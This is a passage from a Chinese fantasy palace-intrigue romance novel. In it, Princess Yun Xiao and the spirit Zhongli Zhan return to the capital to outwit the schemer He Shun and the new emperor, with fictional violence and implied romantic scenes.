钟离湛闻言朝云绡看去,一垂头对上了一双担忧的眼睛,他的心中忽而生出了酸涩,又有几丝欣慰的暖意。 小仙女越来越会爱人了,她的所有体贴和温柔,都付出在他的身上了。 “我不是在为他伤神,我只是——” 钟离湛不知要如何诉说他复杂的心绪。 命运如此相似,曾经的他明知不可为而为之,千万里之遥从曦族奔赴连玉州,而今的云绡又是如此。过去是云绡看着他一步步走向命定的结局,而今是他陪着云绡朝那明知是陷阱的陷阱靠近。 命运牵连,都因何舜的计谋。 钟离湛伤神的不是何舜的背叛,而是云绡接下来要面对的险境。伤神的是他还没有重新获得自己的身躯,还没有足够的力量能够保护她,便要让她去迎接何舜给她设定好的危机。 “他看中了你的身体。”钟离湛说出了心中猜测。 云绡当真是意外了,她瞪大双眼,故意低头朝自己身上看去,甚至还扭胯转了半圈:“我已经这么漂亮了?何舜那个被火烧成癞蛤蟆的丑东西也不在乎男女,想要从此变成我?” 云绡双手捧起自己的脸,凑到钟离湛的面前看向他,一派认真地问:“你帮我看看,我是不是貌美如花国色天姿?” 她在搞怪。 她在哄他。 钟离湛俯身真诚且仔细地看了看,而后一吻落在云绡的鼻尖上,又往下挪了点儿,亲一亲她柔软的嘴唇,发自内心道:“真漂亮,叫人忍不住想亲近。” 云绡捧着自己脸的手换了个方向,捧上了钟离湛来不及撤开的脸庞,踮起脚也用力地在他唇上回吻了一下。 他们都知道,何舜想要云绡的身体,不是因为他想要成为云绡。 京都里,他占据了有利的位置,可以将愚蠢的新帝耍得团团转,让所有舆论都按照他想要的方向施行,还要把云绡的身份推向一个类比当年圣仙一样的至高无上的位置,便是为了让钟离湛的魂魄附身在云绡的身上。 借由云绡 的身体,让钟离湛复活。 他不是在给云绡洗刷冤屈,他是想为钟离湛造势。 真是个疯子啊。 云绡想到这里,又忍不住笑弯了眼:“如果他知道,你的魂魄早就和我绑在一起了,那表情一定很精彩!” 钟离湛瞧她顶着一张小白兔一样单纯的脸,笑出了小狐狸一样狡黠的笑容,便忍不住伸手捏了一下她腮上的软肉,又揉了揉:“你怎么一点儿也不担心?” “兵来将挡水来土掩,我一直都是如此活下来的。”云绡对钟离湛挑眉:“况且我有你啊。” 到时候谁设计谁,谁欺骗谁,谁杀死谁,还真说不定。 钟离湛掌心下,云绡的脸蛋已经被夜风吹得冰冷,他眉头微蹙,开口道:“回去吧,别吹冻着了。” 云绡撇嘴:“我才不想回去看他们俩打情骂俏。” “打情……”钟离湛一时竟无语凝噎,仔细想一想,云绡的措辞似乎也不是那么不准确。 他扑哧一声笑了出来,仲卿和徐容靳也算是忘年交,二人若是知道云绡心里是这样想他们俩的,恐怕得被对方恶心得三天食不下咽。 见钟离湛终于笑了,云绡的心情也变得晴朗了许多。 自从她于钟离氏老宅里苏醒了到现在,他们的心情一直都挺沉重的。钟离湛的神色总凝着,状态也紧绷着,他将两千多年前那时他身上背负着的责任和压力,一并穿在了今时今日的身上了。 云绡仔细回想,她回到过去时见到的钟离湛似乎没什么笑的时候,诸多繁杂琐事,压得他喘不过气来。 而她在神霄塔下唤醒的钟离湛,肆意,自信,是正直阳光的样子。他忘记了那些令他烦扰的东西,很容易就体会到了活在世间的快乐,还会耐心地哄着云绡,教她如何开心。 美目中倒映着钟离湛那张其实一点儿也不老成的脸,笑起来时多出几分恣意少年的模样,云绡心跳加速了几分,忍不住踮起脚去嗅一嗅他魂魄的味道。 “再多亲几下吧!哥哥。”说着,云绡的嘴已经撅起来了。 多亲几下,再回去。 钟离湛揽住了云绡的腰,肆无忌惮地将她抱起,搂入怀中,叫云绡轻轻一跳便跳到了他的腰上。 一只手掌撑在她的臀下,钟离湛汲取着怀中少女的呼吸,于黑夜里无人的街巷中,抱紧滚烫的柔软的身体。 唇齿相依,呼吸交缠,气息相融,钟离湛有些失控地咬了一下云绡的舌尖。 云绡睁着迷离含雾的眼,面红耳赤地盯着钟离湛湿润的嘴唇。 四目相对,他的声音低哑:“喜欢哥哥吻你?” 见云绡点头,钟离湛又问:“想要哥哥吻你哪儿?” 不等云绡回答,钟离湛便掐着她的腰随意跨入一间空屋,吹去桌案上的灰尘,将她按躺在上头。 鼻尖蹭过云绡腰带上的穗子,继续往下。 灵魂深处的躁动,让钟离湛几欲沸腾的血液无处可去。 不可满足又被压抑过后的情念,皆化成了唇舌中的喟叹与哼吟。 还是要回到他的身体里,待他回到身体里,他非得—— - 云绡回到那间被烧毁了一半的屋子里时,仲卿已经靠着徐容靳睡着了,两只可怜的野鸡卧在几乎熄灭了的火堆旁互相取暖。 钟离湛忍不住朝两个人瞥了一眼,难免又想到了云绡说的“打情骂俏”,一时有些不忍直视,干脆抱着云绡背对着他们休息。 一觉醒来,天光大亮。 云绡这次难得醒得比较早,仲卿和徐容靳洗漱的时候,她已经在喂野鸡吃她刚从石头缝里翻出来的虫子了。 徐容靳对云绡不算十分了解,可也知道她的为人。 以前只想着要吃掉他的咕咕和啾啾,怎么可能这次主动喂食了? 他才走近,云绡果然无利不起早地朝他发布了一个任务。 “你……能指派乌鸦传信的,对吧?” 徐容靳点了点头。 云绡的笑容更加灿烂了。 - 两匹马朝连玉州的方向急速前行,一行人在途中半点也没有耽搁。 期间他们也遇上了从京都分派到各地的“传圣军”,云绡几人故技重施,将他们绑住了之后问了相同的问题。几批人的回答都大差不离,可见京中关于云绡的名声的确是往越来越好的方向发展了。 这也就更方便云绡行事。 她不介意何舜给她架起了一个走上去就下不来的高台,她只怕何舜架的戏台子不够高,怕那些传言只在京中发展,可能连连玉州都没出。 这怎么能行? 云绡心道,她可是天命所归!生辰八字和凌国的国运绑在一起,区区一个圣女之名,又怎么能配得上她堂堂公主殿下? 京都里一切对云绡的吹捧,那都是何舜给云绡编制的谎言的牢笼。他以为她当真是个有几分本事和运气的天真少女,会被他给的身份地位所诱惑,就像当初被湖族人高高举起的金氏少女一样,从此成为傀儡一样的圣仙? 云绡连神都敢杀,又怎会被名声和权力裹挟? 凌国京都盛传,十一殿下云绡受神明赐福,生来大吉,为不伤之躯,当入晴天阁尊授圣女之位。 随着云绡几人愈发朝连玉州靠近,云绡之名似乎也从京都远传至旖族,那道被新任国师算出来的吉签逐渐多出了后半段内容。 福祸相依,吉逆相随。显帝诡逝,为妖邪横生,天降祸星。公主圣行,将解灾厄,遂应其道,顺其意,则国昌民安,风调雨顺! 签文化作了童谣,顺乌鸦鸟雀而飞,传唱南北。 第129章 越是往北走,天就越冷。 云绡几人到底连玉州外时,连玉州都已经落了好几天的雪了。 深冬的凌国北方地面上结了厚厚一层冰,马蹄打钉跑得也不快。一路过来几人身上的衣裳越加越厚,途中遇见的所谓“传圣军”也越来越多,到后来云绡甚至都没再想从他们的口中问出些什么,毕竟京都的传言再厉害,也肯定不及她自己散播的。 寒风裹挟着细小的雪粒往人的脸上直砸来,迎面的寒冷冻得云绡暴露出来的一双眉眼都结出了薄薄一层冰霜,纤长的睫毛覆盖浅白,眨一下都费力。 京都的天气每年都是如此的,可也许是这大半年来即便东奔西走,云绡却从未体会过疲惫和难过,故而回来面对京都寒冷的风雪时竟然有一丝不习惯。 冻得她手脚都不想伸出来。 这个时候便体会到钟离湛魂魄的好处了。 这么冷的天里,他的魂魄仍然是滚烫的,云绡就算是骑马奔驰也都极力地用背靠在他的胸膛上,也不管钟离湛是以一种什么样的怪异姿势坐在她的身后抱着她,总之能御寒就是好哥哥! 入连玉州,过关门还得查身份。 云绡回京没打算悄悄的,她就是要让所有人知道她回来了。 少女骑在马上,身后一左一右两匹高马各坐着徐容靳和仲卿,看上去像她的护法一般,都在用一种睥睨的眼神望向前来查询文牒的守关人。 “文牒?我们十一殿下回京还需要文牒吗?”徐容靳压低嗓音,声音沉闷,配上他那张看上去便足够吓人的脸,直叫守关的侍卫不敢直视。 “十一殿下?”守关人又出来了几名,瞧着衣着打扮似是官位稍高一些的。 近来他们连玉州已经出现了好几个十一殿下了,都是因为京都那边传来十一殿下为天神赐福而生,是解灾厄的圣女。又因先前误入三皇子的阴谋中,被诬陷离开了京都生死不明,新帝这才派了许多传圣军出去找人。 他们这些底层的官差,谁见过十一殿下真容?只要是年龄相符的少女对他们说她是十一殿下,他们便将人带回去,先是核对画像,若有几分相似的就都留下来,再送往京都,给京中贵人分辨。 守关的已经在下雪之前送了几人去京都了。 就是前两天,也还有女子说自己是十一殿下呢。 他们连玉州入关后的客栈里便住了两位,眼前这位看上去比先前那两位都更狼狈一些,但睥睨人的眼神却更冷,守关人也拿不准她到底是真是假。 想了想,他还是让云绡入关,将人安排进另外两位十一殿下的客栈里。 云绡确实没想过,有朝一日这世上居然会有人冒充她的身份! “我出息了呢,哥哥!” 在得知自己即将去住的客栈里还有两名‘云绡’,云绡就忍不住好奇那几个女子都是从何而来,长什么模样?为何要冒充她? 难道她们不知道,冒充的人被送到京都后一旦被查出为假,便是杀头的大罪吗? 钟离湛应声道:“大概是想要富贵险中求,可见这世间的权势有多迷惑人心了。” 到了客栈,云绡也没去管那两个冒牌货,反正肯定也不止这两个不怕死的撞上来。 既然入京后她就是圣女了,那眼下云绡就要将自己能摆的谱全都摆出来,首先要的便是热汤沐浴,而后准备丰盛的 晚饭,她洗去这一路赶来身上的风尘仆仆后,便要用餐。 云绡提要求提得太理直气壮,叫连玉州内的传圣军都不太敢质疑和忤逆她,甚至连让她住的地方都是目前城中三位十一殿下里最豪华精致的那一处。 连玉州内有京都,为人族最为繁荣之地,客栈的上房为小院形式,仲卿和徐容靳被安排在她院墙外的隔壁屋子。 比起云绡的独门独院,仲卿和徐容靳住的当然算是普通了。 仲卿的心理落差实在太大了,曾经他在连玉州多受捧啊! 一路过来,遇见的传圣军对仲卿都没太尊重,大多都是将他作为认云绡的标准,当时徐容靳还觉得仲卿是在吹牛,他根本没有传说中的那么厉害。 仲卿当然不服,他只道这些传圣军都是外地人,而他几十年没离开过京都,只要是连玉州的本地人听到他的名号,一定会顶礼膜拜。 然后……现在仲卿面对着徐容靳那一副“我就知道”的脸,完全说不出话来了。 世态炎凉! 一年不到,举国上下有了新人忘旧人!那位连姓名都没有的新国师,究竟凭什么把他挤兑至此啊?! “义父,看开些。”徐容靳的手掌重重地按在仲卿的肩膀上,让他面对现实。 - 云绡躺在热腾腾的水里,感受着暖意驱散身上的疲惫。 浴桶中漂浮着的梅花瓣发出浅淡的香气,旁边的小桌上还放着银器,盛了百合蜜糖粥,简直享受。 钟离湛站在浴桶旁,双臂环胸像是有些慵懒地靠在屏风上,实际他只是放松地站着,略歪着头,瞧云绡一副小猫舒展四肢的惬意模样,嘴角忍不住上扬。 “我这辈子都没体会过身份带来的便利。”云绡砸了一下嘴里刚吃下去的蜜枣甜味儿,眉目含笑道:“为了这份舒适,待我回到京都后一定会给何舜送上一份大礼!” 提起何舜,钟离湛嘴角的笑容便淡下去了。 他目色微沉,问云绡:“你还没告诉我,你的计划到底是什么?” 他至今都不知道云绡回京后要做什么,只知道是云绡让徐容靳的乌鸦将那些传言送至旖族,而后借助旖族那些她曾救过的女子的力量,把歌谣传唱出去。 谣言的速度的确很快,几乎和云绡同时到达连玉州,甚至后头还多了一些云绡都没想到的版本。或许是那些旖族女子加上去的,又或者是人云亦云的结果,但她的目的达到了。 云绡之名,在短短的一个冬季里便迅速成为了能带领凌国百姓通往幸福昌盛大道的救世主,以至于那么多与她年龄相仿的少女,在某些阴谋和贪婪的促使之下,伪装成了她。 云绡翻了个身,趴在浴桶边上抬头看向钟离湛,过会儿又朝他勾了勾手指。 钟离湛附身凑近,二人之间如同说悄悄话一样的距离。 云绡笑道:“我离京之后与何舜的傀儡数次交锋,如今装傻已经是来不及了,倒不如走向另一个极端,让他知道我的能力,也让他看出我的野心。” 何舜和景妍认得,自然从景妍那里听说了许多关于云绡的事迹,也定然知晓云绡并非外人眼中的那么无害。 在若川上,钟离湛一指击碎了何舜的傀儡,从何舜的角度去看便是云绡做的。 而在渡仙城内,钟离湛抽出诛神剑的剑意杀死了谢尧钰,于何舜的眼中,这些也是云绡做的。 何舜活了两千多年,早就成人精了,云绡的每一步路都得走得合适恰当,才能稍微让他放下戒心,到时候再骗他就更容易了。 所以云绡现在要做的,就是越张扬越好,以人心去类比,人站得越高,就越容易迷失自我,从而自得意满,一叶障目。 云绡现在的行为的确算作一个露拙的自保手段。 何舜这种人,他不怕云绡有实力,就怕她没目的,擅伪装,反而有野心的人更好拿捏。 云绡还是将自己放在了一个对于何舜而言更为弱势的位置,猎物,成了异类的狩猎者,而狩猎者,掉入了猎物设下的深坑。 钟离湛微微眯着眼,仔仔细细地打量着云绡,她的脸蛋因为热水熏得微微泛红,眼眶也是湿润的,冰雪消融后的眉目间带着些许狡黠的笑意。 钟离湛回想起自己最开始被云绡欺骗甚至支配的日子,心间不可遏制地升起了一股难以言说的酸胀感。 他知道是因为他对于现在自己魂魄情况的无可奈何,故而难免生出许多担忧。可云绡从来都不是他幻想中的小白兔,他早就知道这一点,不过是被爱意蒙蔽了双眼,总觉得她需要保护。 她是他见过的最坚毅聪慧,又狡猾有心计的女子。 一吻落在云绡的鼻梁上,吻去她鼻尖一滴热气蒸出凝结的水珠,钟离湛才要站起身,便被云绡扯了一下耳垂,她正噘着嘴要亲亲。 钟离湛失笑,对着她翘起来的饱满红润的嘴唇亲了一下,又亲了一下,然后提醒:“这个天不能在水里玩儿,会生病。” 都已经到了到处都是何舜眼线的地方,云绡也不会急不可耐地非要和钟离湛如何,她将手臂缩回温暖的水里,笑道:“我再泡一会儿。” - 连玉州的雪一直在下,云绡进了客栈三天都没出自己的院子,也没碰见另外两位公主。 在第四天的时候连玉州关门处又来了一位“十一殿下”,也一并被送到了这间客栈里,而后有人传话,只等雪停了便会有传圣军的队伍送她们回京面圣。 又过了两天连玉州的雪才停下,一行一百六十人的传圣军即将护送四位公主殿下入京。 云绡的行李不多,她从院子里出来时身上披着厚厚的狐裘,整个人如同雪团子一样站在雪里,墨色的长发增添唯一一丝色彩。 这还是钟离湛第一次见她穿淡色的衣裳,舍去了橙红色的娇艳,现在的云绡看上去多了几分矜高清冷的感觉。 “我装得是不是很高贵?”云绡当着所有人的面一步步上了马车,还特地压低声音问钟离湛。 钟离湛笑道:“公主殿下,当然是真的高贵,怎么能说是装的?” 云绡双眉一挑,有些得意。 二人全然忘记彼此相见的第一面,云绡有多落魄,而钟离湛跟着云绡去了她从小长大的小院,听她说那是她的寝宫时,肉眼可见的寒酸了。 饶是连玉州内的传圣军摆的规模和架子再大,也没办法弄四辆一模一样规格豪华的马车出来,更何况眼下四个人也未必是真的十一殿下。 早先入京的那一批,得亏是天气冷,否则尸骨早就腐化成烂泥了。 若这四个人里也没有十一殿下,她们的结局与先前那几人并无差别。 云绡入了马车才看见早早就坐在里面的三名女子,三个互相都不说话的十一公主殿下,都在云绡踏入马车的那一瞬朝她看来。 见她身上并无任何宝饰,只有一张狐裘还算华贵,没忍住露出几分嫌弃的眼神。 云绡扯了扯嘴角:“一个旖族,两个湖族的,装什么曦族?” 一句话点破三人身份,三名少女的脸色都分外难看,她们眼神中的嫌弃变成了警惕,这回才算是仔仔细细地打量着云绡了。 云绡一踏入马车便提起其中一名女子直接推到一旁,自己大咧咧地坐在正中间最舒适的位置,全然没有先来后到的意识。 刚一坐好她便道:“再看本公主就将你们的眼珠子给挖出来了。” 两人收回了视线,唯有一名湖族少女还在暗自打量她。 云绡闭上眼,深吸一口气,抬起右手两指一掐,捻了个口诀后双指便化作了刃,直接在那名湖族少女的眼前横划,贯穿鼻梁,鲜血大量涌了出来。 剩下的两名女子见状,吓得惊叫出声。 而云绡已经将那被挖了眼睛的少女踢出马车,任由她滚入雪堆,捂着一双血淋淋空洞的眼跪在人群中呼救。 一马车的女子,钟离湛自然是没跟进去的,不过马车内的动静他都听 到了。 这个时候从湖族过来的少女,多半与司徒家或者陆家有着千丝万缕的关系,云绡此一招杀鸡儆猴,狠毒公主人设拿捏得死死的! 这一个小插曲完全没有引起传圣军回京的耽搁,反而这一路上来剩下两名少女隐约能感觉得出来,那些传圣军对云绡更加恭维了。 各族中狼子野心者,其实已经将云绡的身份调查得十分清楚,知道她曾经在宫中就是个不受宠甚至提起来都让人没什么印象的人。即便如今京中对她的言论改了风向,可也架不住她曾是皇城边缘人物的事实。 那些人搜集了所有云绡的讯息,让她们背得滚瓜烂熟,甚至连外貌更改的理由也找得十分合理。 这样情况下,更容易浑水摸鱼,说不定她们便能一步登天。 可真正走到这条路上,她们才知道事情远没有自己想的那么简单,她们很可能会死……不,她们一定会死! - 入连玉州,到京都的路便是坐马车也只需要两日,但因为雪天路滑,真正抵达京都城门外,已经是第三天了。 这三天里那两名少女眼见着憔悴了下来,便是湖族还活着的那个心性坚定一些,眼下也泛着些许青黑。 只有云绡指使着所有人为自己行方便,吃得好睡得好住得好,晚上还有时间和仲卿徐容靳坐在一张桌上一边品茶点一边聊徐容靳派出去的乌鸦打听来的各方八卦。 经乌鸦传话,京都的新国师很少见人,国师便就是国师,连姓名旁人都不晓得。 但国师很得新帝信任,因为国师正在练就一种长生的道术,可以让新帝青春永固。 当时云绡在听到长生两个字后,就在心里默默地翻白眼。 眼看着马车即将穿过京都皇城的城门,云绡先开车窗帘朝外看了一眼,熟悉的朱漆大门从眼前晃过,马车轻摇,越过厚厚的城墙便是宽阔的青石板铺就的大道。 “为何人人都想要长生呢?活得久了,就真的能快乐吗?”云绡轻声问。 马车内的两名少女见她突然开口说话,问的还是这种没头没尾的问题,彼此对视一眼,一时不知道要不要回答。 车窗外,钟离湛随着马车的速度踏入这片他也还算熟悉的土地,回答云绡:“活得久,并不会真的快乐。” “人还是无知的时候最快乐,知道的越多,越不快乐。而生命之灿然,因为它短暂易逝,才显得精彩,长生者若无坚定的心性,多半会被时间和离别冲垮心防,最终迷失自我。”钟离湛朝繁闹的街道看去:“你看见过的,在我离开符玉城时遇见的那个自缢的曦族人,他便是长生下芸芸众生的影子。” 云绡撑着下巴,轻叹道:“云光憧真蠢啊。” 两名少女一听她居然直呼新帝名讳,而且如同癔症了一样自言自语,二人缩在一起离云绡更远了些。 偏偏这个时候,云绡又笑着说了下一句话:“所以,我才更适合坐上那个位置,因为我不信长生,我只信我自己。” 钟离湛闻言微怔,他侧眸看向车窗,云绡从车窗里露出的眉眼弯弯的,好似月牙一样。 钟离湛又顺着她刚才一闪而过的视线看去,刚好便能看见这条主街道上,几只飞鸟纵横而去,它们最终轻巧地落在了不远处神霄塔的塔顶上。 从入皇城起,云绡的每一句话,每一个表情,都经过了精心设计。 钟离湛:“……” 所以,他刚才是又跳入了她的伪装,还真当她是回到故土有感而发了? 所以,云绡露出那双笑得如弯月一样的眼睛看他,也是因为他还真情实感地回答了她的自问自答? 嗯,演得好啊。 钟离湛默不作声,只伸出一根手指戳着云绡的额头,将她的脑袋推回马车内。 第130章 传圣军并未耽搁,到了京都便直接将马车带到了宫门外。 马车内的三名公主先后下来,心志不坚的另外两人脸色已经极为难看了。 云绡神色还算淡然,她抬头看了一眼近在咫尺的宫门,这里是皇宫西门,是专门给宫中妃嫔一年仅有一次允许探亲机会才设立的。西门之上为玄楼,玄楼的角门处只有白天会有人看守,夜里则会松懈许多,这地方是给那些执令的宫女们出入所用的。 云绡记得她第一次从一个算作门的地方出宫,便是背着一袋子瓜果,满心算计又充满了期待,趁着月色从这皇宫西侧的玄楼角门踏出。 此刻玄楼的主门大开,正中间站着的是云绡还有些印象的太监。 云绡过目不忘,知道这太监名叫福营,是跟在云光憧身边伺候的。云光憧都当上皇帝了,对方的身份自然也跟着水涨船高。 福营的记性不如云绡,虽他曾与云绡有过几面之缘,可他的的确确忘记了十一殿下的长相。 主要是以前的云绡瘦瘦小小,和永远也长不大的小猫儿似的,在宫中也是挨欺负的命。凡是遇见人她都是垂着头退至一旁,等旁人走过了之后她才动,毫无存在感可言。 可谁能想到这样的人有一天会因命格与凌国国运绑在一起,摇身一变成了一人之下万人之上的圣女? 福营看着眼前三名女子,两个有些畏畏缩缩的到是像云绡往日行事风格,另一个披着白色狐裘,眉目弯弯又似有些冷淡看着他的,他又觉得似曾相识。 福营往前两步,再仔细看看。 云绡也不恼,任由他细细打量着。 福营见云绡嘴角挂着浅淡的笑,突然就反应过来她为何看上去眼熟了! 云绡其实长得并不像显帝,她更像她的母亲,那个叫景妍的惑上魅主的女人。 福营身为云光憧的心腹,自然知晓云光憧后宫里的那位敏美人就是云绡的生母,曦族进献给显帝的美人——妍妃。 历史上的帝王,只要勤勉政务,私下里感情上有无奇特癖好都无所谓。所以福营在发现妍妃在先帝死后,居然立刻就能和新帝搅和到一起,甚至很得新帝宠爱,他也只是意外了一瞬,便接受了。 云绡看着福营稍纵即逝的别扭眼神,也知道他在想什么,便道:“本公主是不是和敏美人长得很像啊?” 福营脸色瞬时僵了起来,他往后退了半步,毕恭毕敬道:“殿下慎言,奴才这便领路,请殿下回宫。” 福营领着云绡入宫全程都没再看那两名少女一眼,手下的人自然也就知道该如何解决她们了。 云绡沿着长长的宫巷,又一次走在熟悉的道路上,看着朱色的深墙上飞过的几只鸟雀,云绡的心境已经与过去大不相同了。 曾经的她从未想过有朝一日会离开这个小小的牢笼,或许她每天都在想,可她确定自己没有那样的机遇,不会有幸运降临在她的头上。 而今再看这曾经将她困住十多年的层层宫墙,再类比把弄世人性命,将万物视为刍狗的真实世界,这面曾在云绡看来坚不可摧束缚得人呼吸困难的高墙,其实也如砂砾一般,轻风可推。 而在这宫墙之内的人,仍然汲汲营营,捧着自己认知的小小宝藏,以为自己手握重权,可以决定苍生生死。 云绡很快就看到了那个眼界从未离开过京都,却已经掌握住凌国命脉的人。 乾和宫内,云光憧端坐龙椅之上,他还不至于认不出自己的妹妹,可在看见云绡的那一瞬间,云光憧是当真有一刹的陌生。 云绡已经与往日完全不同了。 “十一皇妹变化真大。”云光憧开口,直接点明了云绡的身份。 福营退至乾和宫的宫门处,对着手下人耳语几句,宫外看守的两个女人可以赐死了。 云绡听见了他们这些故意做出来的动静,无非是想给她个下马威,毕竟任谁当上了皇帝却发现自己竟然不是与国运昌隆相关之 人,定然会生不甘和嫉妒之心。 “大皇兄变化也很大。”云绡笑着看向云光憧,而后一顿:“我现在是不是应当尊称您一句陛下了。” 云光憧感受得到了云绡的傲慢,这让他心里的那丝不痛快被无限放大。可他的帝位并不算完全牢固,毕竟他当上皇帝也不过才短短半年时间。 云绡懒得花时间云光憧交锋,她的目的也不是他,云光憧问她离开京都后去了哪儿,云绡也只是敷衍了几下,而后便说自己累了。 “带十一殿下下去休息。”云光憧体贴地朝云绡一笑。 云绡他一切都安排妥当了还算满意,她转身退下,还没走到大殿门前又像是突然想起了什么似的回头说了句:“对了,皇兄,仲卿仙师为我恩师,徐容靳是我手足,他们应当也能在宫中有个舒适的地方好好钻研术法吧?” “那是自然。”云光憧扯着嘴角的假笑。 云绡看着他那张想发火还极力忍耐的嘴脸,故意弯起眉眼:“皇兄还是和以前一样好说话。” 这话让云光憧最后一丝假笑也消失殆尽。 - 云绡的身影才从乾和宫前消失,云光憧便将手里的茶盏狠狠地掷了出去。 碎裂的玉瓷溅开,有一片划伤了福营的脸,乾和宫内的所有太监全都跪下伏地,大气也不敢出。 云光憧咬牙切齿,嘴里都能尝到血腥味了,才低低地吐出了“贱人”两个字。 从乾和宫离开后,云光憧便直接去了景娴殿。 那里是景妍在宫中的住处,离乾和宫很近,近到不要一刻钟,云光憧就看见了端坐在殿内发呆的敏美人。 景妍如今很得宠,若不是因为她是先帝的妃子,凭着云光憧对她的喜欢,让她当个贵妃都使得了。 可惜他帝位尚未稳固,皇后和贵妃之位都由他原来的正妃和侧妃所处,宫中四妃之位,谁也动不得,好在景妍体贴。 云光憧按部就班了前半生,生怕半点出格会让显帝不悦,却没想到坐上帝位他也仍然要看人眼色行事,极度压力之下,他便只能在其他地方释放自己真实的内心。 皇后端庄,平日里重话都说不得。 贵妃矜高,就喜欢写字抚琴,还隐约嫌弃云光憧文采一般,云光憧去她那儿也如坐针毡。 其他的妃子,要么娴静,要么谨慎,就是有两个年轻活泼的,也难以满足他的狂念。 只有景妍可以! 她身上的牡丹花娇艳动人,她有许多种云光憧以前想都不敢想的放纵方式,云光憧可以肆意对待她,而后诉说心中苦闷。 可恨先帝不懂体贴,险些叫这样一个妖艳的、魅惑的、热情如火似乎能燃烧人神魂的解语花香消玉殒。 云光憧才踏入景娴殿便关上了门,他抚摸着景妍的脸,暴躁地将她按在了桌面上。 长裙往上盖住了景妍的头顶,云光憧的角度里只能看见白腻的皮肤上艳红的牡丹随着他的粗鲁而绽放。 花枝剧烈的颤动着,仿佛有强风吹过。 待风停雨止,云光憧紧紧地抱住了景妍,目光越发冷凛:“我能看得出来她在轻蔑我,她甚至不加掩饰地喊我皇兄,而非称我陛下!从见到她起,她连腰都没弯过,更别说跪下行礼!” “而我什么也做不了,只能被动地接受,还要笑着送她离开,满足她的一切要求!”云光憧咬紧牙根:“国师为何要如此看重她?她到底有何能耐?!她不过就是个不得宠的贱种!” 是他以前随随便便便能捏死的存在! 即便当着景妍的面,云光憧也不觉得喊云绡贱种有何不对,因为景妍对云绡的厌恶不比他少,在她的眼里,云绡比贱种还不如。 景妍也在无数次去想这个问题。 为何那位大人要将云绡捧上高位?明明之前她在云绡的设计之下险些丧命,那位大人还想着用显帝之死一石二鸟,将她救出险境,再嫁祸云绡,替她报仇的! 后来那位大人对云绡的感官一直不好,甚至在京中放出风声,将云绡打成了妖邪。 可突然一切就变了。 在某一天夜里,她望着湖上孤亭内的高大男人,他的目光一直都是朝着神霄塔的方向,每日如此……可那天夜里他看的不是神霄塔,而是眺望远方,发出了沙哑又肆意的笑声。 一遍又一遍的笑,仿佛堪破多年难题,终于得偿所愿。 从那天起,他便要将云绡从人人喊打的地狱,拉入光明之下,甚至给她安排了一个至高无上的身份,就为了将她哄回京都。 他不是要哄她来杀。 一切迹象都表明,他哄云绡回来,是真的要让她坐上圣女之位的! 景妍不甘心啊!她内心的痛苦比云光憧要多一千倍,一万倍! 从她认识那位大人起,从她还只是个容貌妍丽的十三岁少女,被他于恶棍手中救下时起,她就一直追随着对方。 仰望他如同仰望天神一般,对他的话深信不疑,为了能替他完成一件小小的事,景妍能付出一切!包括生命和灵魂! 可她不能接受,不能接受这世上有一个女人,能让他如此费尽心机为对方铺路! 而那个女人,还是景妍最痛恨的,最厌恶的存在! “你去面见国师!这世上一定有人也可以当这个圣女!这个人绝不能是云绡!你没看见她看向我的眼神,她就像是完全变了一个人!”云光憧搂住了景妍的腰:“妍姐姐,你帮帮我,她的眼神告诉我,若她真的成了圣女,我就永远只能是个傀儡皇帝,那我曾经承诺过要给你的一切,也将变得遥遥无期!” 景妍知道,云光憧在把她当枪使。 可云光憧也在给她递一个台阶,一个可以让她以正当理由去见那位大人的机会。 而她在去见大人之前,还得先见云绡一面。 云绡变了?不!她没变! 景妍永远都记得自己被显帝下令赐死,日夜煎熬,而云绡风轻云淡地告诉她,她的死期时的目光。 如果皇帝非要让她接触云绡的话,便是后来那位大人知道她和云绡会面,也一定不会怪罪她的吧? “陛下别担心,我不会让她得逞的。” 一个孤女,纵使有天大的本领,在而今处处都是那位大人眼线的京都里,也翻不出他们的手掌心。 - 景妍要找云绡,云绡也在等她。 在知道云光憧和景妍的变态关系之后,她就知道要如何拿捏云光憧了。 她的大皇兄一辈子屈居于显帝威严之下总以为自己满腔才华无处施展,当了个傀儡皇帝后最厌恶的就是被人轻慢。 云绡故意激怒他,也等于故意在何舜面前暴露自己眼高于顶的弱点。 云光憧被激怒,就一定会去找景妍,景妍不得云绡去死,也就会想方设法来见云绡一面,最好能在云绡可以面前国师之前,就将她弄死。 而暴露了弱点的云绡也让何舜放下些许戒备,他会迫不及待地来试探她的身体是不是最适合钟离湛魂魄的那个。 “如果计划得当的话,今天晚上我们三个就能碰面了呢。” 云绡端着一盘切得整齐精巧的糕点,塞得脸颊鼓鼓的,说话的声音都是含糊不清的。 钟离湛替她擦掉嘴角的糕屑,问她:“所以你回宫的第一步,就是要找那个女人报仇?” 云绡理所应当地点头:“当然!我还以为她早死了呢!让她活到这么久,真是便宜她了,我肯定得在见何舜之前,先把这个碍眼的苍蝇给解决了啊~” “而且,我给她安排得明明白白!还是老一条死路。”云绡笑眯眯的,静待夜晚降临。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-140 第131章 银月被乌云遮蔽,夜风吹来了几片雪花。 云光憧给云绡的住处安排在广茗殿,这里位于皇宫偏僻处,是新盖建的宫殿,新种了树和花。一应看上去都极为华丽,还有几名宫女在殿内伺候着。 这地方算不上太好,但比起云绡以前的住处已经好了太多,由此也可看得出云光憧内心对她的真实态度。他仍然看轻她,所以才会将她打发到这里来。 不过这地方能看见神霄塔,倒是方便了云绡。 雪花簌簌飘落,殿门前点上了灯,昏黄的灯光下一席纤细的身影踏入夜色也没有宫女发现。她的表情有些冷硬,目光呆板又不呆滞,直勾勾地盯着一个方向,如同幽魂一样走出了广茗殿。 景妍寻来广茗殿时看见的就是云绡离开这里的背影。 景妍是孤身前来的,她趁着夜色想在明天国师面见云绡之前,先私下见云绡一面。 之前显帝还活着,她是妍妃,宫中处处都是显帝的眼线,她不能暴露出自己来到凌国京都皇宫是别有目的,所以才会不小心踏入了云绡设下的陷阱里,险些死在深宫之中。 彼时她的住处被围得水泄不通,一只苍蝇也飞不出去,景妍纵使有天大的本领也难以自救。她只能在极度恐慌下撕碎了国师给她的符,唤醒了潜伏在显帝身体里的神鬼蛊,这才给自己换来了生机。 云光憧不比显帝,他天资愚钝却心高气傲,很容易就会被外在的东西迷惑,景妍拿捏他太简单了,这也让她在宫中行事更为便利。 就连皇后都知道她的存在,却也无可奈何。 景妍和云光憧有同样的想法,就是云绡此人不能留! 